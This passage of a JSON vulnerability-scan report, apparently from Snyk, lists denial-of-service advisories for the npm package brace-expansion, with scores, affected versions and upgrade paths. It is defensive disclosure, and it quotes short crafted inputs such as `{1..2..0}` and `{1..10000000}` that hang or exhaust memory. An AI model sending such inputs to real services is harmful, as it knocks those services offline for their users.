"2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, 